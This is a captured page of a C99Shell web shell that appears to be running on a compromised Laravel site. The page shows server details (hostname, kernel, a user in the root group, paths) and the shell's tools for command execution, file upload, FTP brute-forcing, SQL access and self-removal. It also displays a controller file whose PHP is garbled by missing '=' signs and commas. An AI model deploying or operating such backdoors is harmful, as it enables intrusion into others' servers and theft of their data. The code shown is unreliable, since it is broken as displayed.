!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/test.qr.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 29.25 GB of 117.98 GB (24.79%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TablePositionController.php (1.65 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\Table;
use 
App\Models\TablePosition;
use 
Illuminate\Http\Request;

class 
TablePositionController extends Controller
{
    public function 
index()
    {
        
$user auth()->user();
        
$data['table_positions'] = TablePosition::where('user_id'$user->id)
        ->
withSum('tables''no_of_capacity')
        ->
get();
        return 
view('table_position.index'$data);
    }

    public function 
store(Request $request)
    {
        if(
env('APP_DEMO')){
            return 
redirect()->back()->withErrors(['msg' => trans('layout.app_demo_message')]);
        }
        
$request->validate([
            
'name' => 'required|max:191',

        ]);

        
$table_position = new TablePosition();
        
$table_position->name $request->name;
        
$table_position->user_id auth()->user()->id;
        
$table_position->save();

        return 
redirect()->route('table-position.index')->with('success'trans('layout.message.table_position_create_message'));

    }

    public function 
update(Request $requestTablePosition $table_position)
    {
        if(
env('APP_DEMO')){
            return 
redirect()->back()->withErrors(['msg' => trans('layout.app_demo_message')]);
        }
        
$request->validate([
            
'name' => 'required|string|max:191',
        ]);
        
$table_position TablePosition::where('id'$table_position->id)->firstOrFail();

        
$table_position->update([
            
'name' => $request->name,
            
'user_id' => auth()->user()->id
        
]);

        return 
redirect()->route('table-position.index')->with('success'trans('layout.message.table_position_update_msg'));

    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--